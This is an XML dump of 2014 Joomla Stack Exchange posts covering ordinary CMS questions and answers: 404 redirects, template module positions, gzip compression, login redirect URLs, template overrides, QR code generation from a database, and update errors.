  <row Id="4631" PostTypeId="2" ParentId="4627" CreationDate="2014-09-30T23:48:24.007" Score="7" Body="&lt;p&gt;The updates for 3.3.5 and 2.5.26 were pulled after a last minute (but minor) issue was detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see: &lt;a href=&quot;https://plus.google.com/+joomla/posts/XmkJAm4fCGS&quot;&gt;https://plus.google.com/+joomla/posts/XmkJAm4fCGS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also: &lt;a href=&quot;https://www.facebook.com/joomla&quot;&gt;https://www.facebook.com/joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and:  &lt;a href=&quot;https://twitter.com/joomla/status/517021851231744001&quot;&gt;https://twitter.com/joomla/status/517021851231744001&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it mentions if you've already run the update (or applied it manually) it's not a problem but you will have apply the next update manually.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-10-01T01:19:16.390" LastActivityDate="2014-10-01T01:19:16.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4633" PostTypeId="2" ParentId="4616" CreationDate="2014-10-01T17:37:06.757" Score="2" Body="&lt;p&gt;You can customize the 404 error (example show a custom page or send somewhere other than the homepage) by adding a PHP file to your template, name it &lt;code&gt;error.php&lt;/code&gt; and place it in the root of the template (next to the &lt;code&gt;index.php&lt;/code&gt; of the template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside that file you can indicate what to do, for example send to somewhere in your site (update &lt;code&gt;/SOMEWHEREINYOURSITE&lt;/code&gt; with the desired URL):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;//example of a way to output the error code:&#xA;//echo $this-&amp;gt;error-&amp;gt;getCode();&#xA;&#xA;if (($this-&amp;gt;error-&amp;gt;getCode()) == '404') {&#xA;    header('Location: /SOMEWHEREINYOURSITE');&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing that you are using the .htaccess file (which I assume you are using an Apache server), you can add a definition for what to do with the 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place this at the top of the .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ErrorDocument 404 /SOMEWHEREINYOURSITE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As with the previous method, update &lt;code&gt;/SOMEWHEREINYOURSITE&lt;/code&gt; with the desired URL.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2014-10-01T17:37:06.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4634" PostTypeId="1" CreationDate="2014-10-01T17:51:32.413" Score="2" ViewCount="55" Body="&lt;p&gt;Is there a way to undo batch processes/revert to how my categories and articles were set up before a batch process? I had a fairly intricate hierarchy of categories established and when I went to copy them over the hierarchy was lost.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2014-11-01T20:17:06.593" Title="Undo batch process" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4635" PostTypeId="5" CreationDate="2014-10-02T03:33:45.903" Score="0" Body="&lt;h1&gt;Installation&lt;/h1&gt;&#xA;&lt;p&gt;For questions about installation of the Joomla CMS and the Joomla Framework, as well as for the installation of extensions.&lt;/p&gt;&#xA;&lt;h3&gt;More info:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Installing_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Installing Joomla&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Installing_an_extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;Installing Extensions&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Finding_and_installing_extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Finding &amp;amp; Installing Extensions&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="168" LastEditDate="2023-11-01T08:04:12.527" LastActivityDate="2023-11-01T08:04:12.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4636" PostTypeId="4" CreationDate="2014-10-02T03:33:45.903" Score="0" Body="For questions about installation of Joomla CMS and the Joomla Framework, as well as extensions." OwnerUserId="1629" LastEditorUserId="168" LastEditDate="2023-11-01T08:04:12.527" LastActivityDate="2023-11-01T08:04:12.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4637" PostTypeId="5" CreationDate="2014-10-02T03:43:55.663" Score="0" Body="&lt;h1&gt;Security&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Web sites are unfortunately prone to security risks. Hackers either seek to compromise the corporate network or the end-users accessing the website by subjecting them to drive-by downloading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, industry is paying increased attention to the security of the web applications themselves in addition to the security of the underlying computer network and operating systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The majority of web application attacks occur through &lt;strong&gt;cross-site scripting (XSS)&lt;/strong&gt; and &lt;strong&gt;SQL injection attacks&lt;/strong&gt; which typically result from flawed coding, and failure to sanitize input to and output from the web application.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Internet security is a vast and fast-moving topic. No one set of rules&#xA;  can cover all the possible situations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Joomla Security&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Website hacked, got malware, or having other security concerns?&#xA;The documentation in Joomla.org has adequate resources to help you out. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Security&quot; rel=&quot;nofollow&quot;&gt;Joomla Security&lt;/a&gt;&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot; rel=&quot;nofollow&quot;&gt;Joomla Security Checklist&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://vel.joomla.org&quot; rel=&quot;nofollow&quot;&gt;Joomla! ® Vulnerable Extensions List&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="126" LastEditDate="2015-08-21T15:56:17.683" LastActivityDate="2015-08-21T15:56:17.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4638" PostTypeId="4" CreationDate="2014-10-02T03:43:55.663" Score="0" Body="This tag is for Joomla-related security questions, and extension/template coding in order to prevent intrusion." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-10-02T15:13:23.167" LastActivityDate="2014-10-02T15:13:23.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4639" PostTypeId="5" CreationDate="2014-10-02T03:51:58.417" Score="0" Body="&lt;h1&gt;CMS - Content Management System&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A CMS (Content Management System)&lt;/strong&gt; is a system for publishing, editing and changing content displayed on a web site's web pages. These types of web pages are commonly referred to as dynamic instead of static web pages because the HTML is assembled and served to the end user only when requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dynamic web pages are generated by using some type of built-in functionality for managing and displaying the HTML content items as well as a variety of other data types, such as menus, contacts, and web links.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Joomla CMS&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Joomla! CMS&lt;/strong&gt; is a PHP-based system for creating dynamic web pages. Joomla!'s flexible and extensible structure allows functionality to be added using extensions Changing the display (appearance and layout) of the content to the 'end-user' (someone viewing a web site) is achieved through the use of templates and modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The home of the Joomla! CMS project is &lt;strong&gt;&lt;a href=&quot;http://Joomla.org&quot; rel=&quot;nofollow&quot;&gt;Joomla.org&lt;/a&gt;&lt;/strong&gt;, which contains extensive end-user information.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="126" LastEditDate="2015-08-21T15:35:32.410" LastActivityDate="2015-08-21T15:35:32.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4640" PostTypeId="4" CreationDate="2014-10-02T03:51:58.417" Score="0" Body="Use this tag for general questions regarding the Joomla Content Management System (CMS). " OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-10-02T15:13:17.683" LastActivityDate="2014-10-02T15:13:17.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4643" PostTypeId="1" CreationDate="2014-10-02T09:52:51.767" Score="3" ViewCount="555" Body="&lt;p&gt;I am converting theme from HTML to Joomla. When I have defined position in below manner, It gave me nothing as output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;positions&amp;gt;&#xA;        &amp;lt;position&amp;gt;top_header&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;left&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;right_menu&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;right_content&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;footer&amp;lt;/position&amp;gt;&#xA;    &amp;lt;/positions&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But When I changed that into following code, Everything is working fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;positions&amp;gt;&#xA;        &amp;lt;position&amp;gt;position-0&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;position-1&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;position-2&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;position-3&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;position-4&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;position-5&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;position-7&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;position-8&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;position-9&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;messageIE&amp;lt;/position&amp;gt;  &#xA;        &amp;lt;position&amp;gt;debug&amp;lt;/position&amp;gt;&#xA;    &amp;lt;/positions&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I am new to joomla, I don't have any idea why is it so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So anyone can tell me why position works in that manner? Can't we define our own position in Joomla? Because I have seen themes which have their own defined position and they were working perfectly.Then Why my position did not work?&lt;/p&gt;&#xA;" OwnerUserId="1970" LastEditorUserId="159" LastEditDate="2014-10-02T10:54:31.753" LastActivityDate="2014-11-03T10:39:43.550" Title="Renaming positions in the template XML manifest file" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4644" PostTypeId="1" CreationDate="2014-10-02T12:43:10.307" Score="1" ViewCount="1637" Body="&lt;p&gt;In global configuration I have &lt;strong&gt;buffering set to conservative&lt;/strong&gt;, &lt;strong&gt;compression enabled&lt;/strong&gt; and in JCH Optimize settings set like this (Tak means yes in Polish :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JFW9p.jpg&quot; alt=&quot;JCH Optimize&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;a href=&quot;http://checkgzipcompression.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://checkgzipcompression.com/&lt;/a&gt; they say: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;YES, it's GZIP enabled!&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uncompressed size:85,908 bytes Compressed size:17,648 bytes&#xA;By compressing this page with GZIP, 79.5% bandwidth was saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, when I open PageSpeed ​​Insights for Chrome, it tells me to &lt;strong&gt;turn on&lt;/strong&gt; the compression to reduce transfer by 185.1 KB (74%). It also lists the files that are not compressed (css and js) - and all of them are inside '&lt;strong&gt;plugins&lt;/strong&gt;' or '&lt;strong&gt;modules&lt;/strong&gt;' directories (for example /plugins/system/jcemediabox/js/jcemediabox.js?f164ea24e8567d41a795089153b69cd9 - from JCE plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, how to tell Joomla to compress not only files from the template but also from other directories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.35, JCH 4.1.1.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastActivityDate="2014-10-02T14:10:45.650" Title="Gzip compression for files outside the template" Tags="|joomla-3.x|compression|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4645" PostTypeId="2" ParentId="4644" CreationDate="2014-10-02T12:57:28.823" Score="1" Body="&lt;p&gt;JCH will by default compress all Javascript/CSS files whether they belong to your template or not, unless you exclude them manually, which I assume you haven't done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I would not go by what a browser extension says. I recommend you test with a popular online service such as &lt;a href=&quot;http://gtmetrix.com&quot; rel=&quot;nofollow&quot;&gt;GTmatrix&lt;/a&gt;. This will give you all the accurate information you need, including GZip.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-02T12:57:28.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4646" PostTypeId="1" CreationDate="2014-10-02T13:56:32.490" Score="2" ViewCount="3886" Body="&lt;p&gt;I wonder if anyone can help me with this redirect problem...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the 'Tutorials' section of my site:&#xA;&lt;a href=&quot;http://www.schoolofsugarcraft.annpickardsugarcraft.com/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=10&amp;amp;Itemid=103&quot; rel=&quot;nofollow&quot;&gt;http://www.schoolofsugarcraft.annpickardsugarcraft.com/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=10&amp;amp;Itemid=103&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I am displaying the intro text (Show Unauthorized Links in the Category blog) to unregistered users so that they can be tempted to sign up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already have a login, and login on the page (rather than using the module in the right column) the path of the returning page is totally wrong.  Meaning that the Page Title is wrong and I can't control the modules that are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try it by using Leila / leilah to login.  Try logging in through the module vs logging in on the actual page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried creating a hidden menu item for a Login page and setting a redirect there but it doesn't seem to have any effect.  Is there some problem with the unauthorized links option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to force the returning page to have the correct URL and all the good things that go with it (correct breadcrumbs, active menu item, active modules etc!)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla version is 3.3.6 BTW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="1740" LastActivityDate="2014-10-02T15:33:50.473" Title="Post-login Redirection Not Working" Tags="|joomla-3.x|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4647" PostTypeId="2" ParentId="4644" CreationDate="2014-10-02T14:10:45.650" Score="2" Body="&lt;p&gt;Have a look at the source html in the browser for your homepage. &#xA;If you see a line like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /plugins/system/jch_optimize/assets/nz/1/0/486f81270d21c22c4aee77df7e.js &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is a file JCH has compressed but if you also see other .js files that are not like this then some extensions or templates are not using the normal joomla code and so are not being compressed.&lt;br&gt;&#xA;You can look through these and see if it is possible to change them or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the day this all makes you pages smaller and faster but does not effect what the users can do, so at a certain point you have to move on and do content and sales tasks.&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-10-02T14:10:45.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4648" PostTypeId="2" ParentId="4643" CreationDate="2014-10-02T14:29:31.477" Score="2" Body="&lt;p&gt;Have you based your new template on an existing template? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several conditions that must be met in order to display modules in your new positions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;/templates/YOURTEMPLATE/TemplateDetails.xml&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;&#xA;You must define your module positions in this file. Your code in the question is correct.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;/templates/YOURTEMPLATE/index.php&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;&#xA;The positions must be defined in your &lt;code&gt;index.php&lt;/code&gt; file. Place this code wherever you want your module positions to appear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;top_header&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Replace &quot;top_header&quot; as needed)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YZql4.jpg&quot; alt=&quot;jdoc:include&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will be replaced with your module content &lt;strong&gt;if&lt;/strong&gt; a module is published to this position.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;Publish your modules&lt;/strong&gt;&lt;br&gt;&#xA;Now publish a module (or several) to the position &lt;code&gt;top_header&lt;/code&gt;, and make sure you set &quot;Menu Assignment&quot; -&gt; &quot;Module Assignment&quot; to the pages where you want the modules to display. Also make sure &quot;Status&quot; is set to &quot;Published&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sH4t0.jpg&quot; alt=&quot;Module Assignment&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of these steps are basic, but I'm listing them because it's easy to overlook something.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-02T14:29:31.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4649" PostTypeId="2" ParentId="4646" CreationDate="2014-10-02T15:33:50.473" Score="2" Body="&lt;p&gt;There seems to be a problem with the generated redirect URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;br&gt;&#xA;When using the login module to log in, the URL for the article &quot;Traditional round nosed bear&quot; is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=10:traditional-round-nosed-bear&amp;amp;catid=23&amp;amp;Itemid=103&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when using the &quot;Login or Subscribe to read more...&quot; button to log in, the url for the same article is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;id=10:traditional-round-nosed-bear&amp;amp;amp;catid=23&amp;amp;amp;Itemid=103&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(note four occurences of &lt;code&gt;&amp;amp;amp;&lt;/code&gt; in the second URL.) That's why you're unable to control modules and page title on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't reproduce your problem, but here's a couple of ideas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try enabling &quot;Search Engine Friendly URLs&quot; (in Global configuration) and see if that solves the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AjgM4.jpg&quot; alt=&quot;Search Engine Friendly URLs&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, please check if the following file exists in your template directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/YOURTEMPLATE/html/com_content/category/blog_item.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it does, it might contain an erroneous redirect. Look for something similar to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $link-&amp;gt;setVar('return', base64_encode(urlencode($returnURL)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$link-&amp;gt;setVar('return', base64_encode($returnURL));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-02T15:33:50.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4651" PostTypeId="2" ParentId="4634" CreationDate="2014-10-02T19:17:08.150" Score="2" Body="&lt;p&gt;Unless you have made a backup of your website, or have a previous copy of your database with the old category structure, I'm afraid the answer is NO (at least as far as I know). There's no way to undo the batch process.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-10-02T19:17:08.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4652" PostTypeId="1" CreationDate="2014-10-03T06:01:42.197" Score="2" ViewCount="362" Body="&lt;p&gt;we have on our template the possibility to creat an Gallery View for Content / Categories.&#xA;it looks like the following:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hXpWJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so and now - i'm trying to get the same view for the contacts.&#xA;In contacts there are also categories and items, so i guess it should be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i copied the following files in to the template folder for contact (com_contact):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gallery.xml&#xA;gallery_children.php&#xA;gallery_item.php&#xA;gallery_links.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i'm getting now an error in the main file gallery.php:&#xA;Notice: Undefined property: ContactViewCategory::$intro_items in /srv/www/vhosts/kubler.ch/httpdocs/templates/as002057/html/com_contact/category/gallery.php on line 103&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on these lines around it looks like this (101-104:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$introcount = (count($this-&amp;gt;intro_items));&#xA;$counter = 0;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1973" LastEditorUserId="159" LastEditDate="2014-10-03T10:47:27.017" LastActivityDate="2014-11-02T11:19:54.993" Title="Overriding Content Gallery Layout to Contact Gallery Layout" Tags="|joomla-3.x|template-override|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4654" PostTypeId="2" ParentId="4652" CreationDate="2014-10-03T08:27:56.507" Score="1" Body="&lt;p&gt;You can't copy files from one component view to another. View have been coded specially for that specific component. The variable names for &lt;code&gt;com_content&lt;/code&gt; are different to &lt;code&gt;com_contact&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't try and do things to quick way ;) What I would suggest doing is creating your basic Template Override by copying the view files from &lt;code&gt;com_contact&lt;/code&gt; to your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here on, start merging the structural changes from your gallery into the &lt;code&gt;com_contact&lt;/code&gt; override. It may seem a little time consuming but it's the only way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-03T08:27:56.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4655" PostTypeId="1" AcceptedAnswerId="4659" CreationDate="2014-10-03T08:39:05.313" Score="2" ViewCount="3903" Body="&lt;p&gt;I have this PHP code that should retrieve data from a MySQL database and embed it into a  a QR code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;    include(JPATH_LIBRARIES . '/phpqrcode/qrlib.php');&#xA;&#xA;$db     = JFactory::getDbo(); &#xA;$user   = JFactory::getUser();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);    &#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('Nom', 'Cognoms', 'eCorreu')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__rsform_socis'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('Username') . ' = '. $db-&amp;gt;quote($user-&amp;gt;Username));     &#xA;$db-&amp;gt;setQuery($query);&#xA;$codeContents = $db-&amp;gt;loadObjectList();&#xA;&#xA;$data  = $codeContents[0]-&amp;gt;Nom;&#xA;$data .= $codeContents[0]-&amp;gt;Cognoms;&#xA;$data .= $codeContents[0]-&amp;gt;eCorreu;&#xA;&#xA;$tempDir  = JPATH_SITE . '/images/';   &#xA;$fileName = 'qr_'.md5($data).'.png';   &#xA;$pngAbsoluteFilePath = $tempDir.$fileName;&#xA;$urlRelativeFilePath = JUri::root() .'images/' . $fileName;&#xA;&#xA;if (!file_exists($pngAbsoluteFilePath)) {&#xA;    QRcode::png($data, $pngAbsoluteFilePath);&#xA;}       &#xA;echo '&amp;lt;img src=&quot;'.$urlRelativeFilePath.'&quot; /&amp;gt;';&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I just get an image icon. Can anyone help?&#xA;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dani&lt;/p&gt;&#xA;" OwnerUserId="1974" LastEditorUserId="1974" LastEditDate="2014-10-03T18:43:33.067" LastActivityDate="2014-10-03T18:43:33.067" Title="How can I retrieve data from MySQL table and insert it into QR code using PHP?" Tags="|joomla-3.x|php|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4656" PostTypeId="1" AcceptedAnswerId="4660" CreationDate="2014-10-03T08:40:31.300" Score="5" ViewCount="1116" Body="&lt;p&gt;After updated &lt;strong&gt;3&lt;/strong&gt; of my Joomla websites i am receiving this error in frontpage.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JDispatcher: :register: Event handler not recognised. Handler: Array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of 3 sites were v2.5 and i now using the latest 2.5.27. I fixed databases from Extension manager. I disabled SEF and errors in error_log are like these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod_fcgid: stderr: PHP Warning:  function_exists() expects parameter 1 to be string, array given in /public_html/libraries/joomla/event/dispatcher.php on line 101&#xA;mod_fcgid: stderr: PHP Warning:  class_exists() expects parameter 1 to be string, array given in /public_html/libraries/joomla/event/dispatcher.php on line 107&#xA;mod_fcgid: stderr: PHP Notice:  Array to string conversion in /public_html/libraries/joomla/methods.php on line 342&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My linux box is Debian Wheezy and i am using PHP-CGI 5.4.4-14+deb7u14&lt;/p&gt;&#xA;" OwnerUserId="1968" LastActivityDate="2014-10-04T18:33:47.100" Title="After update Joomla 2.5.24 to 2.5.27 i get JDispatcher: :register: Event handler not recognised. Handler: Array" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4657" PostTypeId="2" ParentId="4656" CreationDate="2014-10-03T08:43:42.987" Score="0" Body="&lt;p&gt;Joomla seems to be screwing up a lot of their recent updates. Everything seems to be rushed and it appears this could be a bug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest reporting it as an issue on the &lt;a href=&quot;http://issues.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;Joomla issue tracker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="159" LastEditDate="2014-10-03T10:06:03.527" LastActivityDate="2014-10-03T10:06:03.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
